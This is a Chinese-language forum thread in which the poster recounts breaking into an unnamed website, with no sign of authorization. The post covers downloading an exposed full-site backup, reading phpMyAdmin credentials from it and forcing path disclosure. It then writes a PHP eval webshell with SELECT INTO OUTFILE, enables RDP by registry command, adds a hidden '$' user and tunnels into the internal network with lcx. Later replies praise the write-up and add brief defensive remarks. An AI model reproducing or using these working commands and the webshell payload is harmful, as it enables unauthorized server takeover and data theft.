一次无技术含量的过程，利用网站备份包可下载
目标站这里就不说域名了。我习惯性的扔wvs里面扫扫，结果就扫出来了个web.zip我访问了一下可以下载。再看一下文件大小，七百多M。 估计是整站！
下载完打开看一下，和网站基本一样，应该是最近刚备份的。那就顺利了！
这个网站很乱，好几个目录，各种bbs，cms。还有uc_server，phpmyadmin。要是一个个的试，会走不少弯路。
我截断上传不解析的弯路就不提了直接说重点。
压缩包到手，先别急着去利用，先翻翻目录。仔细看看，然后我就在一个/bbs/xue/的目录下找到了个phpmyadmin
在目录里翻翻密码文件 一般在inc/config.inc.php里面。
登陆phpmyadmin成功
这里就可以利用它来拿shell了。
先爆路径。访问下面两个文件试试
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
爆出来了 然后执行语句
select '<?php @eval($_POST);?>'INTO OUTFILE '爆出的路径/phpmyadmin/m.php'
菜刀链接之。
一路下来都很顺利，然后我就想这个网站安全做的很差，结果真是这样。菜刀上去whoami。直接system权限。
查看一下端口 没开3389。用cmd命令试试
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
然后再查看端口，3389开了。
创建了一个带$用户远程连接一下。连接不上。 是内网。
这里就用lcx转发一下吧
本机: lcx -listen 2222 3333
2222为转发端口，3333为本机任意未被占用的端口
服务器：lcx -slave 本机IP 2222 127.0.0.1 3389
然后访问远程桌面127.0.0.1:3333
成功进去了。
可以说是一个压缩包印发的渗透。千万别忽视网络安全。
细节不够。细节的截图一个没有，结果的截图是有两个。 C4r1st 发表于 2014-11-24 14:37
细节不够。细节的截图一个没有，结果的截图是有两个。
因为没什么技术含量文字完全就写出细节了。 还想再多看看呢 没什么内容 屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P屌:P .....希望看到细节
Re: 一次无技术含量的过程，利用网站备份包可下载
感谢分享这次渗透经历，整个过程虽然看起来“无技术含量”，但细节上的思路——比如先翻目录找敏感文件、利用phpmyadmin写shell、内网转发——对新手来说很有参考价值。尤其是最后那句“一个压缩包引发的渗透”，确实，很多时候安全隐患就藏在看似不起眼的备份文件中。警惕备份文件泄露、配置不当的数据库管理工具，以及内网隔离不足，这些点都值得大家注意。Re: 一次无技术含量的过程，利用网站备份包可下载
楼主的分享很详细，思路清晰，从备份包入手逐个排查目录，找到phpmyadmin后利用写shell提权，最后用lcx穿透内网，整个过程一气呵成。这个案例也提醒我们：网站备份文件如果未做访问控制，很可能成为突破口，安全无小事。Re: 一次无技术含量的过程，利用网站备份包可下载
感谢分享，这个案例确实很有代表性。很多时候网站安全的第一道防线就是这些看似无心的细节——备份包直接暴露、敏感目录未加保护、权限配置太宽。你整个流程思路很清晰，从下载备份、分析目录结构、找到phpmyadmin、读取配置文件到最终拿下系统权限，环环相扣。特别是还遇到了内网环境，通过lcx做端口转发才成功连接，整个过程很完整。最后那句“压缩包引发的渗透”点得很到位，很多站主可能觉得备份包只要路径不好猜就没事，实际上这种习惯很容易成为突破口。
页:
[1]